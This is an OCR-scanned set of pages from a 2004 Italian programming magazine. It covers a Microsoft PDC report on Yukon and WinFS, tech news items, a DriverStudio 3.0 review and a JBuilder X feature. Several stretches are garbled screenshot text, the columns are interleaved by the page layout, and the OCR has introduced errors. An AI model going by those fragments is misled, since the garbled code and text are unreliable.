e che avrà come temi Yukon, il successore 
di SQL Server, e WinFS. Padrone di casa è 
Gordon Mangione (Corporate Vice Presi- 
dent di Microsoft) che ha subito posto l'ac- 
cento sulla forte integrazione fra Yukon e la 
piattaforma .Net. Integrazione che è anda- 
ta in due direzioni: da un lato la migliore 
programmabilità di Yukon in ambito .Net, 
dall'altro il fatto che buona parte di Yukon 
è stata scritta in managed code, C# per la 
precisione. Qualche caratteristica, in ordi- 
ne sparso: tutti i servizi offerti da Yukon 
sono esposti come Web Services; è stato 
costruito un driver JDBC, a conferma della 




forte voglia di integrazione sentita in casa 
Microsoft; una nuova GUI che consente di 
scrivere stored procedure in modo com- 
pletamente visuale e di lanciare interroga- 
zioni Xquery; infine, un più esteso suppor- 
to a XML, presente ora come data type pre- 
definito e su cui è quindi possibile agire 
con le comuni interrogazioni SQL. Nella 
Demo hanno costruito, tramite whidbey, 
una piccola applicazione per interrogare, 
via WS, un database Yukon. Solite ridottis- 
sime righe di codice e, zero righe per l'ex- 
port dei dati in formato PDF, XML, Excel. . . 
La seconda parte della presentazione è 
dedicata ad un approfondimento su Win- 
FS che anche Magione presenta come la ri- 
sposta necessaria alle esplosione della di- 
mensione dei dati immagazzinati nei no- 




stri Hard Disk: "Ogni diciotto mesi tripli- 
chiamo la capacità degli Hard Disk: che 
Dio ci aiuti se dovremo ancora affidarci al 
flnd flrst/flnd next per muoverci in questo 
mare di dati!" Mangione delinea WinFS at- 
traverso tre aspetti fondamentali: 

• semplificazione della ricerca di 
documenti e informazioni 

• gestione delle relazioni fra le infor- 
mazioni 

• reagisce al cambiamento delle 
informazioni tramite agenti auto- 
nomi e programmabili dall'utente 

WinFS è dunque un tentativo per organiz- 
zare la conoscenza che tende ad ammuc- 
chiarsi negli hard disk. "Immagini, pezzi di 
codici, spezzoni video, persone incontrate, 
blog. . . questo è quello che dovrebbe rima- 
nere da un'esperienza come la PDC. E que- 
sto è quello che andrà sicuramente perso". 
Mangione esemplifica così il tipo di ausilio 
che WinFS vuole dare alla user experience. 
Visto dalla prospettiva degli sviluppatori, 
WinFS si basa su NTFS e porta nell'accesso 
alle informazioni presenti su PC un ap- 
proccio database-like, coniugandolo con 
la programmazione object oriented, XML e 
Transact-SQL. Avere un file system "real- 



mente" ad oggetti ha permesso di presen- 
tare delle eccellenti API che, con grande 
eleganza, consentono di estendere e per- 
sonalizzare il comportamento del file 
system stesso. Creare nuovi tipi di Item e 
nuove relazioni, predisporre nuove viste o 
anche il semplice accesso agli item, può 
essere effettuato in un contesto completa- 
mente object oriented. 




CONCLUDENDO 

Una PDC così ricca non si era mai vista. Il 
numero e la qualità di novità tecnologiche 
ha lasciato tutti senza fiato. Una dimostra- 
zione di forza che, se non mette Microsoft 
al riparo dai problemi derivanti dalla suo 
eccessivo peso sul mercato, restituisce co- 
munque l'immagine di una società all'a- 
vanguardia e con un piede già saldo nel 
futuro. In queste pagine non ho fatto a 
tempo a descrivere il clima curioso e teso 
degli sviluppatori presenti nelle sessioni. 
Non ho parlato delle Hands On Lab che 
hanno permesso a tutti di "giocare" con i 
nuovi gioiellini di Microsoft. Non ho parla- 
to delle serata passata agli Universal 
Studios di Hollywood, né di quella passata 
in una megavilla che dominava Los Ange- 
les. . . in cui un qualche collega giornalista è 
finito in piscina. 

Non ho detto dell'eccitazione sincera, che 
ci ha rapito, come davanti ad un alba: 
Longhorn è davvero un nuovo giorno, spe- 
riamo arrivi presto. 




Fig. 25: Le librerie National Instruments 
per .Net consentono di realizzare 
rapidamente applicazioni per pilotare 
strumenti di misura www.ni.com 



NEWS 



APPROVATE 
LE SPECIFICHE 
J2EE 1.4 

Sun Microsystems ha 
annunciato che le 
specifiche J2EE 1.4 sono 
state approvate 
all'unanimità dal Java 
Community Process. Tra le 
novità più rilevanti 
segnaliamo il supporto al 
Web Services 
Interoperability 
Organization (WS-I) Basic 
Profile 1.0, il documento che 
descrive le linee guida per 
creare Web Service 
interoperabili. Il supporto 
era già disponibile come 
pacchetto indipendente con 
le JAX-RPC, l'averlo incluso 
nella piattaforma J2EE è 
comunque un grosso passo 
avanti, soprattutto 
nell'ottica di contrastare 
l'avanzata di .NET e la sua 
posizione dominante nel 
panorama delle piattaforme 
di sviluppo per Web Services. 

OFFICE 2003 
APERTO 

Microsoft ha deciso di 
permettere l'utilizzo gratuito 
del formato XML adottato dai 
documenti in Office 2003. La 
notizia avrà notevoli ricadute 
in svariati campi: 
innanzitutto è un passo nella 
direzione chiesta da molti 
enti governativi, Unione 
Europea in testa, inoltre 
consentirà la piena 
compatibilità di software di 
terze parti con i prodotti 
della suite Microsoft Office, 
Open Office su tutti. Questo 
importante passo è stato 
comunque criticato da una 
parte degli sviluppatori che 
vorrebbero che gli schemi 
XML utilizzati da Office 
fossero liberi e svincolati dal 
controllo diretto di 
Microsoft. 

http://www. microsoft, com/ 
office/xml/ 



irrarra macromedia 

UXtUJ^I ALZA | L T|RO 

VERSO 

IL MERCATO 

ENTERPRISE 



BEA E IBM 
A BRACCETTO 



Le due compagnie, dopo 
aver coltivato per anni 
una fruttuosa rivalità, 
hanno iniziato a 
collaborare al fine di 
smussare le incompatibilità 
esistenti fra le loro 
rispettive linee di prodotti 
basate su Java. 
Durante il prossimo anno, 
gli upgrade previsti per 
WebLogic di BEA e 
WebSphere di IBM 
includeranno degli appositi 
moduli per facilitare la 
cooperazione con l'altra 
piattaforma. 

Le due aziende, da sempre 
in competizione per la 
leadership nel mercato 
degli application server 
Java, hanno già collaborato 
in passato nella definizione 
di alcune specifiche per 
Java e all'interno del WS-I 
per la definizione degli 
standard da adottare nei 
Web Services. 



APACHE 
E JBOSS 
OTTENGONO 
LA LICENZA 
J2EE 

\ pache Software Foun- 
dation e JBoss Group 
sono i primi ad ottenere la 
certificazione J2EE per 
prodotti licenziati come 
open-source. 
Per la prima volta delle 
implementazione Open 
Source entrano a far parte 
della Java community. 
La certificazione pare non 
sia arrivata gratuitamente: 
alcuni dirigenti di JBoss 
Group hanno affermato che 
alcuni partner li hanno 
aiutati a sostenere 
economicamente le spese, 
senza peraltro specificare i 



Royale rinasce e cambia 
nome in Flex: un pro- 
getto che combinando una 
piattaforma server, pattern 
di sviluppo e tool di 
programmazione, porterà 
Flash a giocare un impor- 
tante ruolo nel mercato Ja- 
va enterprise. Lo scopo è 
di attrarre gli sviluppatori 
che lavorano con Java 2 
Enterprise a sviluppare in- 
terfacce interattive in 
Flash per le loro applica- 
zioni J2EE. 

Spesso le applicazioni J2- 
EE, per quanto curate sul 
lato back end, presentano 
forti limiti nell'interfaccia 
utente, Flex andrà a col- 
mare proprio questa ca- 
renza. 



Le probabilità di successo 
sono ottime, anche grazie 
alla nuova possibilità di 
programmare le interfacce 
Flash attraverso dei comu- 
ni editor testuali, al posto 
dei ricchi ma complessi 
tool di sviluppo finora di- 
stribuiti da Macromedia. 
Il linguaggio che consen- 
tirà questo piccolo mira- 
colo è MXML, una defini- 
zione XML che consente di 
descrivere sul lato server i 
file SWF che saranno poi 
interpretati normalmente 
dal player Flash presente 
sulla macchina client. 
MXML consente di defini- 
re completamente la GUI 
di un'applicazione attra- 
verso un semplice docu- 



L'INFORMATICA 
PER TROVARE 
MUOVI 
MATERIALI 



Tecniche di Datamining 
per cercare nuovi ma- 
teriali: questo è essenzial- 
mente l'oggetto della ri- 
cerca di alcuni ingegneri 
del MIT di Boston. Già ora, 
i computer vengono utiliz- 
zati per simulare il com- 
portamento di nuovi ma- 
teriali, attraverso l'appli- 
cazione delle equazioni 
fondamentali della mec- 
canica quantistica. Il pro- 
blema è che i calcoli ne- 



cessari sono talmente tan- 
ti da rendere impossibile 
una simulazione completa 
di tutte le possibili struttu- 
re che un materiale può 
assumere. Le tecniche pre- 
dittive del datamining 
consentono di trovare i 
pattern di ricerca che più 
probabilmente porteran- 
no al successo, il tutto par- 
tendo da un database dei 
materiali già conosciuti. 
La tecnica è la stessa che 



* 12/Gennaio 2004 



http://www.ioprogrammo.it 



NEWS T 




&: 



* 



l'7> 

*l— Tb« «ittCH 1M tttUpBL ■ VViAtljLM ut LM IRpi ACBÌÌUII lUl MI LUI 
<?— Jtau :m tei tuKi^i» St;ì*r»ii:r, — » 

dMC EJtyfliéfltìòA wldCli-'lDO- E*iO!it*M<!3' «min» [■*-■*£;« p: / ,' Mnr.BfcCEóa 

ti— 1% 1# **«*! W H»*l lOT* Si WS* IR »P *n«*SlH « fili 

«*i jfc-JTf 5» tur imp t«a ■ 

ti — Tn trai tpplie4E.3ien u* $l«e* «11 «f e-i «•?-• mmp—nr e« 

ci — Trai i* «a 
rum &Kft I 

:.-.t Mita, li 



- 



il* a£ a éiu Beati aeriMM iduh. li i» i 

iftS ZM UliKUtU AKL&tkMElpt Ì11ÉJ. 




<n«3H> : lawnwry ift^mrt ■ sima* , un I «/bum» 

<guftuty> [ ifiw»n ter * ■ o«cC*M£*« ?« ral e. h 4v4»uv » </gui>utp 

■ > ìft*w-«ttf -*•!£•■•*•, t*«li .fu** t*/pt 4»* 

^auli4t y> ; 4fiv*£E,etv . aaiCua^a . :«;.: .qwiUcyJ <■■ aùlu j-> 



■ ■■■MptSf ^&* =*a«r» 4RV»urcrV ■ 

■art xe» npsi tpforw*tien nupprr 
ì iwvipjg =*Us bme oh ■ejw «i* i 



. < 



tei^M sn 



mento XML cosa che, per 
leggibilità e flessibilità, 
consentirà un grande pas- 
so avanti per lo sviluppo 
delle interfacce. MXML è 
per molti versi simile a 
XAML, il linguaggio di pre- 
sentazione adottato da 
Longhorn per pilotare il 
motore di visualizzazione, 
e presentato da Microsoft 
alla recente PDC di Los 



Angeles. Il vantaggio com- 
petitivo di Flex è nel forte 
anticipo rispetto al con- 
corrente Microsoft: Ma- 
cromedia prevede di lan- 
ciare Flex per J2EE nella 
prima metà del 2004, men- 
tre non è ancora certa una 
data di rilascio per la ver- 
sione di Flex che suppor- 
terà .Net. 

www. macromedia. com 



MUOVA VITA 
ALLE JAVA CARD 

5 un rilancia sul mercato delle smart card, con una 
nuova iniziativa tesa a conquistare fasce di merca- 
to più basse rispetto a quelle consolidate finora con le 
Java Card tradizionali. 

Il nuovo progetto, denominato "Java Card S", consen- 
te di far girare le stesse identiche ap- 
plet utilizzabili sulle comuni Java 
Card su carte molto meno co- 
stose, con l'unica limitazione di 
non poter scaricare ulteriori 
applet una volta che la carta è 
stata prodotta. Restano intatte 
tutte le altre prerogative 
delle Java Card, inclu- 
sa la possibilità 
di avere più ap- 
plicazioni sulla 
medesima car- 
ta. 

www.ja va.sun. com/ 
javacard/ 



consente, ad esempio, ad Amzon di preve- 
dere quale libro un utente (o un gruppo) 
comprerà, sulla base delle scelte già effet- 
tuate. La tecnica è molto promettente e lo 
scopo ultimo sarà quello di pubblicare su 
Internet un enorme database con tutti i 
materiali conosciuti, con enormi benefici 
per tutta la comunità di ricercatori. 

http://web. mit. edu/newsoffice/nr/2003/ 
datamining.html 




MICROSOFT 
ACCELERA 
SUL MERCATO 



indows CE ha raccolto i con- 
_ _ sensi di numerose case auto- 
mobilistiche e molti degli aggeggi 
elettronici che popoleranno le prossi- 
me auto di BMW, Volvo e Honda 
avranno all'interno la versione scala- 
ta del sistema operativo del gigante 
di Redmond. Dai sistemi di naviga- 
zione ai lettori musicali: Microsoft 
considera che, nel giro di tre anni, il 
trenta per cento delle automobili 
prodotte dovrebbe avere un disposi- 
tivo con Windows CE integrato. 



Home page del portale Mit News. 




PORTALE 
FIRMATO 
ORACLE 

Un tool di sviluppo per 
realizzare portali Web 
basati su Java: su questo nuo- 
vo prodotto Oracle punta 
molto per rilanciare il suo 
portai server software, il mo- 
tore per la generazione di 
contenuti. 

All'insegna dell'integrazione, 
questo tool dovrebbe essere il 
fulcro attorno a cui far ruota- 
re tutte le applicazioni di una 
azienda, ognuna con il suo 
specifico ramo d'azione, per- 
mettendo di esportare i pro- 
pri dati in formato XML. 
Il tool sviluppato da Oracle 
consentirà, quindi, di integra- 
re i dati provenienti dalla più 
svariate forme e presentarli in 
modo automatico all'interno 
di una interfaccia Web. 

http://portalcenter. oracle. com 



http://www.ioprogrammo.it 



Gennaio 2004/13 ► 



NEWS 



AL TRAGUARDO LA PROSSIMA 
GENERAZIONE DI CHIP INTEL 



Il più grande costruttore 
di semiconduttori al 
mondo ha lasciato trapela- 
re le prime informazioni su 
quella che sarà la prossima 
generazione di processori: 
pare abbiano dato esito po- 
sitivo i primi test effettuati 
con i primi prototipi con 
tecnologia a 65 nanometri. 
Rispetto all'attuale tecno- 
logia (130 nm) i nuovi pro- 
cessori consentiranno di 
raddoppiare il numero di 
transistor per chip, con un 
conseguente miglioramen- 
te in prestazioni. La nuova 
tecnologia garantirà anche 

una consistente riduzione del consumo di energia, fattore 
che si fa sempre più critico con l'aumentare dei dispositi- 
vi mobili. "Grazie a questo risultato, la tecnologia a 65 nm 




di Intel è destinata a con- 
fermare il nostro record 
iniziato 15 anni fa di velo- 
cizzare la produzione con 
un processo di nuova ge- 
nerazione ogni due anni. 
In realtà sono trascorsi so- 
lo 20 mesi dall'annuncio di 
aver realizzato SRAM pie- 
namente funzionanti con 
il processo a 90 nm, che è 
ora nella rampa produtti- 
va", ha spiegato Sunlin 
Chou, Senior Vice Presi- 
dent di Intel. 

"Con il processo a 65 nm 
riusciremo a realizzare 
prodotti più evoluti a costi 

inferiori, mentre continuiamo a introdurre innovazioni 

per prolungare la Legge di Moore". 

www.intel.com 



IL BRASILE 
RINUNCIA 
A BILL 

Il governo del presidente Lula, con il coraggio che 
fin dall'inizio lo ha caratterizzato, ha avviato una 
campagna per la massiccia introduzione di Linux 
nella pubblica amministrazione. Gli enti pubblici 
potranno acquistare nuovi PC, solo a patto che 
non vi sia preinstallato un sistema operativo: 
questo è l'unico diktat di un decreto che si fonda 
più che altro sulla sensibilizzazione degli enti. A 
tutte le aziende pubbliche è stato richiesto di 
presentare uno studio sugli effetti della in- 
troduzione di software libero. La decisione è stata 
motivata dal pesante esborso per licenze software 
che grava sulle casse dello stato: 34 milioni di 
dollari all'anno. Inoltre, recenti studi hanno 
evidenziato che nella bilancia dei pagamenti sulle 
licenze software, il Brasile spende ogni anno 1 
miliardo di dollari in più rispetto a quelli che 
incassa. La strada per la conversione al software 
libero non sarà comunque semplice, né breve. 
Ricardo Sigaud, direttore del Ministero della 
Pianificazione, ha affermato che conta di 
raggiungere l'80% nell'arco dei prossimi tre anni. 
Facile prevedere che a questa conversione 
Microsoft si opporrà con una, peraltro lecita, 
campagna di sconti. 



UML 2.0: RICCO MA 
UN PO' PESANTE 



LFUML 2.0 (Unified Modeling 
■ Language) si è andato ap- 
pesantendo con il tempo ma, 
nonostante ciò, resta uno 
strumento essenziale per la 
modellazione dei sistemi e 
rappresenta un notevole pas- 
so avanti rispetto alla versio- 
ne 1.0. 

All'interno dell'OMG (Object 
Management Group), organi- 
smo deputato allo sviluppo di 
UML, sono in molti a ritenere 
che lo standard 2.0 avrebbe 
potuto essere più elegante e 
presentare meno funzioni. 
Il lavoro svolto dall'OMG ha 
soprattutto curato l'aspetto 
della scalabilità: con in nuovi 
connettori e le nuove interfac- 
ce, l'UML viene incontro alle 
esigenze delle più grandi 
aziende software e rende pos- 
sibile la cooperazione anche 



per team di sviluppatori parti- 
colarmente nutriti. 
L'attenzione offerta alla capa- 
cità di integrazione non miti- 
ga la necessità per gli svilup- 
patori di trovare dei propri 
protocolli operativi nell'utiliz- 
zo di UML 2.0, una sorta di 
contraltare alla grande flessi- 
bilità garantita. 
Tra i motivi di questo ennesi- 
mo balzo tecnologico c'è l'a- 
dozione di una versione di se- 
conda generazione del silicio 
"strainded" a elevate presta- 
zioni. 

Questo tipo di silicio migliora 
il flusso della corrente, au- 
mentando la velocità dei tran- 
sistor con appena il 2% di in- 
cremento dei costi di produ- 
zione. 

www. omg. org/uml/ 



^ 14/Gennaio 2004 



http://www.ioprogrammo.it 



Sviluppo di driver 



▼ SOFTWARE REVIEW 



DriverStudio 3.0 

Una suite di strumenti per accelerare il processo di sviluppo 
dei device driver e per migliorare la fase di debug delle 
applicazioni Windows 




DriverStudio di Compuware è il ri- 
sultato di una lunga storia di pro- 
duzione di strumenti per lo sviluppo di 
applicazioni e di device driver. La suite 
comprende i noti SoftICE, DriverWorks, 
VtoolsD e il DriverNetworks framework 
package. 

Inoltre, sono stati aggiunti nuovi stru- 
menti device driver, basati sulla tecno- 
logia application -level sviluppata per i 
componenti BoundsChercher, TrueTi- 
me e TrueCoverage. 

Il risultato è una suite di strumenti che 
accelera lo sviluppo, il debugging, il te- 
sting, il tuning e lo sviluppo di device 
driver. La nuova versione, infine, si inte- 
gra sia con l'ambiente di sviluppo Visual 
Studio .NET sia con Visual Studio 6, at- 
traverso il nuovo ambiente DriverWork- 
Bench technology. 



DEBUGGGII\IG 

DI DRIVER 

IN KERNEL-MODE 

SoftICE è il più famoso software di de- 
bugging al mondo. A differenza della 
maggior parte dei software simili, Soft- 
ICE lavora in kernel-mode, ed è in gra- 
do di effettuare il debug su postazioni 
singole e doppie, il tutto con facilità ed 
estrema rapidità grazie ai potenti stru- 
menti di cui il software è dotato. La suite 
3.0 comprende anche una versione 
visuale del prodotto, Visual SoftICE, per 
facilitare ulteriormente tutte le opera- 
zioni, fornendo le stesse potenzialità del 
software di base in un'applicazione 
multifinestra. Visual SoftICE può usare 
la macchina master a 32-bit oppure 
diverse macchine target a 32 o 64-bit. 
Inoltre, supporta gli handle dell'Intel 
Itanium e Itanium 2 come quelli della 
famiglia di processori AMD X86-64. Una 
delle caratteristiche più innovative di 
DriverStudio è l'adozione dell'architet- 
tura host/target, grazie alla quale gli svi- 
luppatori possono effettuare il debug su 
macchine in locale o in remoto (target), 
direttamente dalla macchina di sviluppo 
tramite una connessione seriale o TCP /IP 
di tipo LAN, WAN o Internet. 



SVILUPPO 
SEMPLIFICATO 
DI DEVICE DRIVERS 
HIT E WDM 

DriverWorks automatizza lo sviluppo di 
driver per Windows NT di driver WDM per 
Windows Server 2003, Windows XP, Win- 
dows 2000 e Windows Millennium. L'inno- 
vativo DriverWizard guida il processo di 
sviluppo di driver generando automatica- 
mente il codice sorgente del driver dalla 
descrizione dell'hardware. DriverWorks 



contempla la Compuware Device Access 
Architecture (DAA) che fornisce codice 
sorgente compatibile per tutte le piattafor- 
me di Windows. Inoltre, DriverWorks forni- 
sce il supporto per i driver progettati con, 
compresi i driver UB 2.0 e i minidriver 
AVStram. 



DEVICE ACCESS 
ARCHITECTURE 

La Device Access Architecture (DAA) è una 
famiglia di API fornita all'interno di 
VtoolsD (versione 3 e successive) e di Dri- 
verWorks (tutte le versioni). Usando l'inter- 
faccia DAA, è possibile condividere facil- 
mente lo stesso codice sorgente di applica- 
zioni e di driver per tutte le differenti ver- 
sioni di Windows. Per ottenere migliori 
prestazioni, si può usare il codice sorgente 
nel Kernel Agent. Per ottenere maggiore 
flessibilità, invece, è possibile usare lo stes- 
so codice sorgente in un driver WDM per 
Windows Millennium, Windows 98 o 
Windows 2000 e Windows XP, o in un NT 
Kernel mode driver per Windows NT, o 
ancora in un VxD per Windows 98 e 
Windows 95. L'uso di DAA aumenta la por- 
tabilità dei progetti attraverso le varie piat- 
taforme senza penalizzare l'accesso alla 
device interface e alle API disponibili in 
ciascun sistema. La DAA fornisce le classi 



Device Access Architecture 




Windows 3/4 x 



Fig. 1: Struttura logica di funzionamento 
della Device Access Architecture. 



http://www.ioprogrammo.it 



Gennaio 2004/15 ► 



SOFTWARE REVIEW 



Sviluppo di driver 



per il supporto delle seguenti interfacce: 

I/O Register access 

Interrupt Handling 

Registry Access 

Tracing Facilities 

Resource Assignment 

List Operations 

Mapped Memory 

Deferred Procedure Calls/Events 

Unicode Strings 

IOCTLAbstraction 

Shared FIFOs 

Timer Services 



CREARE 
FACILMENTE E 
PERSONALIZZARE 
NETWORK DRIVER 

DriverNetworks fornisce una biblioteca 
completa di classi C++ con cui lo sviluppa- 
tore può definire rapidamente un'interfac- 
cia di scheda di rete e, usando il Network 
Driver Wizard, assemblare uno scheletro 
{skeleton) network driver per un miniport, 
o di tipo intermediate oppure NDIS [Net- 
work Device Interface Specification) , o un 
Transport Data Interface (TDI) driver. Per 
DriverStudio 3.0, le DriverNetworks C++ 
class library includono un nuovo frame- 
work C++, nuovi esempi e wizard che per- 
mettono allo sviluppatore di produrre dri- 
ver di connessione NDIS oriented per mi- 
niport e integrati cali manager. È suffi- 
ciente scrivere il codice necessario per 
accedere alle caratteristiche specifiche del 
proprio hardware di rete. DriverNetworks 
contempla una varietà di media network, 
compresi Ethernet, Token Ring, WAN, wi- 



reless e ARCNET. I driver prodotti sono 
compatibili con Windows Server 2003, 
Windows XP, Windows 2000 e Windows 
Millennium Edition. 

DriverNetworks estrae inoltre le specifiche 
del network driver e i modelli Windows 
networking. Ciò permette agli sviluppatori 
di utilizzare facilmente i concept DDK 
all'interno dei network driver. 



ANALIZZARE 



AUTOMATICAMENTE 
ERRORI NEI DEVICE 
DRIVER 

BoundsChecker Driver Edition rileva 
automaticamente gli errori di program- 
mazione nei driver per Windows Server 
2003, Windows XP, Windows 2000 e 
Windows Millennium Edition, osservando 
tutte le chiamate al kernel del sistema 
operativo. Il trace log espone le operazio- 
ni del sistema operativo e aiuta gli svilup- 
patori a capire l'interfaccia fra sistema e 
device driver. Oltre alla rilevazione degli 
errori nei parametri, BoundsChecker 
effettua un'annotazione delle operazioni 
dei driver selezionati, disponibile per esse- 
re visualizzata e analizzata da DriverWork- 
bench e da SoftICE. Senza bisogno di al- 
cun codice sorgente o modifica del driver, 
BoundsChecker può monitorare il com- 
portamento dell'intero driver, generare un 
log per l'utente selezionato, con la possibi- 
lità di inviare il log come allegato di una 
email. Può anche rintracciare le allocazio- 
ni e de- allocazioni di memoria mentre vi- 
sualizza il codice sorgente presente in 
memoria. 



PRESTAZIONI 
DEI DRIVER 

Integrato in DriverWorkbench, TrueTime 
Driver Edition è uno strumento d'analisi 
delle prestazioni che permette agli svilup- 
patori di diver per Windows Server 2003, 
Windows Xp e 2000 di identificare e ripa- 
rare facilmente i rallentamenti sia in loca- 
le che in remoto. TrueTime fornisce non le 
statistiche dettagliate dell'esecuzione di 
diverse funzioni del codice, oltre a tabelle 
e diagrammi dei dati che attraversano il 
driver. 

Senza modificare il codice sorgente, 
TrueTime raccoglie le informazioni com- 
plete su prestazioni, statistiche e dati, fun- 
zioni ed operazioni. 



DriverStudio 3.0 

Produttore: Compuware SPA 
Distributore italiano: Compuware SPA 
Sito: www.compuware.it 
Info: Tel. 800783667 

DriverStudio include: 

• DriverWorks - Sviluppo semplificato 
di driver NT e WDM. 

• DriverNetworks - creazione facilitata 
e personalizzazione di network 
driver. 

• SoftICE, Visual SoftICE - Debug di 
driver in kernel-mode, di 
applicazioni o dell'intero sistema. 

• BoundsChecker Driver Edition - 
Analisi and rilevazione automatica di 
errori nei driver. 

• TrueTime Driver Edition - Aumento 
delle prestazioni dei driver. 

• TrueCoverage Driver Edition - 
Raccolta delle informazioni senza 
codice sorgente. 



Gli strumenti di DriverStudio 




Site* Kirfhta Bui 

** Nat» ■ àtri* deci nel tonùd hnArue 


f 15* 


r poh» 


ff PO 


r" PNPIm 


'•'' LO |WDt*CI+] 


r 1.394 fWCWft^] 



I fo vi 

I i rrirF 



I IfFFF 



flicfc | H**> | 



J 



J 



Q Visual SoftICE è un potente 
debugger two-machine system- 
wide a finestre multiple, la cui 
interfaccia può essere personalizzata. 



B DriverWorks genera 
automaticamente il codice di un 
device driver a partire dalla descrizione 
del proprio hardware di rete. 




HCon TrueCoverage, l'analisi del 
codice può essere effettuata senza 
che ci sia bisogno del codice sorgente o 
dei somboli. 



* 16/Gennaio 2004 



http://www.ioprogrammo.it 



Java al massimo 



T SOFTWARE SUL CD 



Una selezione dei migliori tool 

di sviluppo proposta dalla redazione 

di ioProgrammo 



SUL C 



JBuilder X Enterprise 

Lo stato dell'arte per lo sviluppo Java 




Tutta l'eseprienza che Borland ha matura- 
to nei suoi venti anni di attività, si trova 
riversata in questo prodotto. JBuilder X è 
stato progettato per aiutare gli sviluppatori a 
rendere più veloce il loro lavoro. Sia i pro- 
grammatori più giovani che quelli più esperti 
potranno trovare dei buoni motivi per avvici- 
narsi alla nuova piattaforma proposta da 
Borland, efficace soprattutto nello sviluppo 
di applicazioni DB, Enterprise JavaBeans, 
XML, Web Services e progetti J2EE. Nella ver- 
sione Enterprise risulta molto interessante il 
supporto allo sviluppo delle parti client e ser- 
ver di applicazioni distribuite CORBA, grazie 
ad un apposito Wizard. 
Lo sviluppo di applicazioni multi-tier si av- 
vantaggia invece dei designer struts: un fra- 
mework open-source che permette di orga- 
nizzare visualmente l'interazione fra tutti gli 
oggetti del progetto. La realizzazione di appli- 
cazioni mobili J2ME è ampiamente suppor- 
tata in tutte le fasi: sviluppo, compilazione, 
simulazione e debug. Il tutto secondo il MIDP 
profìle in standard 1.0 e 2.0. 




Fig. 1: Ai primo avvio, siamo accolti da un 
progetto di benvenuto che propone diversi 
percorsi per approcciare il nuovo ambiente. 
Vi consigliamo senz'altro di seguire i 
tutorial. 



LE PRINCIPALI 
NOVITÀ 

La prima cosa che salta all'occhio è una mag- 
giore flessibilità dell'interfaccia che consente 
di personalizzare in pochi istanti l'ambiente 
di lavoro, ad esempio liberandolo dalle barre 
che non ci interessa utilizzare. Molte miglio- 
rie sono state apportate a quello che per lo 
sviluppatore è il pane quotidiano: la scrittura 
del codice. In particolare, ci piace segnalare la 
funzione che cambia in grigio il colore delle 
variabili che non sono più utilizzate, assieme 
ad una utile sezione "to-do" in cui è possibile 
segnare le cose da fare. Sul fronte Web Servi- 
ces, abbiamo un nuovo Web Services Desi- 
gner che consente di creare, importare ed 
esportare Web Services in modo del tutto vi- 
suale. Restando alla programmazione per il 



Web, JBuilder X abbraccia pienamente il pat- 
tern MVC (Model-View- Control) attraverso 
l'adozione del framework open source Struts. 
Lo sviluppo Web è facilitato anche dalla tec- 
nologia Taglnsight per JSI> HTML e XML. Per 
il mobile, si segnala il supporto per MIDP 2.0 
e per l'i-mode DoCoMo, attraverso il Doja 
SDK. Infine, uno dei tasti dolenti per gli svi- 
luppatori Java: le prestazioni. JBuilder X, ac- 
canto ad un rinnovato debugger, fornisce un 
completo analizzatore di prestazioni che 
aiuta nella ricerca dei colli di bottiglia presen- 
ti nelle applicazioni che si sviluppano. 



ENTERPRISE: 
I VANTAGGI 

Nota dolente per tutti i programmatori, la 



ì-ile hdii bearch Refactor 'ì'mv: Project 



tì'ÌÈ'iHfl-#|" 



Run Team Wiiards Tools Window Help Purchase 

^ s m jt |m[ 



M 


)^]'| S[] (Default project) 


- 


B-Sl Home 
B-ca C:\ 


1 


Project File Browser 








[kuri^i 


m \m\m\u m -m [& m 



51 fr °n *|g*-[H ► - ■»-**-!#' * +|#| 

X Q closeFile X Q help X Q openFile X **i TextEditClass X * : Textl b. jtBox " & TextEditFrame 



MB Er 

: O sidentifier = e ■ pected at line 91 (9-j 

MU Imports 

Te ctEditFrarne 

TP JFrarne 

^ TextEditFrarneO 

t _ i u t L - 

'"-- telpAI ; it act :» Perforine l(Act 

[.tocc:; " <n< o • E :nfi> 'nnlu « E 

j Hi i t tl_i i j ! 1 1 i 4 L'i» i 

j I l_ Il T 11 I ! I 

j i ri' i' iii-iit1ji-iiin i-U|, '-fi-iTTriii 

| -^ fileOpen() 

| "1^ helpAbout() 

"•j • iBufìonl artionPerformed(Acfionl 
j iibiifwr-_=,rtn,-iP« in.infi,.^.! folti 
-, • iBi,iftori3 actionPerformed(Acfion[ 

I "1* jMenulternl _actionPerf orrned(Acti 

I "1* jMenultern2_actionPerforrned(Acti 

j-v jMenultem; aciionPerforrrecIfAcii 
j-v jMenultemd aciionPerforrrecIfAcii 

j i i-i n-i r_ i i r>-n H ii « i 

j-v jt..tenulìetri6 actioriPerforrrecIfAcii 
j-v jMenultem7 actionPerìormeclfAcii 
! -^ okToAbandonQ 



:e ( "ile. gif") ) ; 

■e ("closeFile. gif")); 
=e ["help. gif"]); 



private voiel iblnit() threms Exception { 

imagel = new Imagel ne. .getRes 

iHige2 Litayelecai (TextEdi tFc ama. . : itìResi 

image3 = iibw Image! ti ti tFrame. class. getRes < 

image4 = i 'rame, class 

Pane = (JPanel) this. getConti : _ - 
documenti = j' 1 : I etDocument ( ) ; 

zanzeriti' mìe s ìtlayout. fi GrdeElayout,!) : 
this.setSize(iiew Dimensioni 400, 300) ) ; 
this.setTitle("Text Editor"); 
st atusEai:. se tTex t f" "i ; 
menuFile.setText("File"); 
menuFi 1 eEx i t . s e tTex t ( ) ; 

iienuFileExit stener.[ TextEdit 

menuHelp.setText("Help") ; 
menuHelpÀb out.se tTex t( "Ab out") ; 
menuHelpÀbou ( tew TextEdi 

Burroni. set leoni imagel) ; 

Buttoni adclàctio: 1 : s :enei : 

Buttonl . setToolTipText ( 

Button.:. setl'.-oniiiuage.:) ; 

ButtonE addAoti :: : stenei : 

Buttona . s e tToo ITipTex t [ " S ave Fi 1 e " ) ; 

Burroni, se ti e ori (lina gè 3} : 

ButtonS. addActionLis tener ( TextEdi tFcamejButt m3_actionAdapti 

Button3 . s e tTo o ITipTex t ( "Ab out" ) ; 

TextAreal. setLineWrap (true) ; 

T ixr.ÀceaJ . set¥r ipStyleHoi;d( ! ; 

TextAreal. set Color.. whi te ) ; 

HenuI temi, se tTex t("Hew rr ) ; 



java. fang. Class 


^getModifiersO int 


A 


▼ ejetHame ( ) String 




' gEtPackagE ( ) Package 




▼ cj e t Pr o t ec t ionDomain ( ) Pro te et io 




^ gEtResourceJlsStream(Stri 


^ getSigmers ( ) 0bject[] 




^ getSiftierclass ( ) Class 




^hashCode() int 




^isflrray() boolean 




lonAdapte 







i TextEditFrami td 



i TextEdi tFrami i apter. (this) ) ; 



!- rame. java 
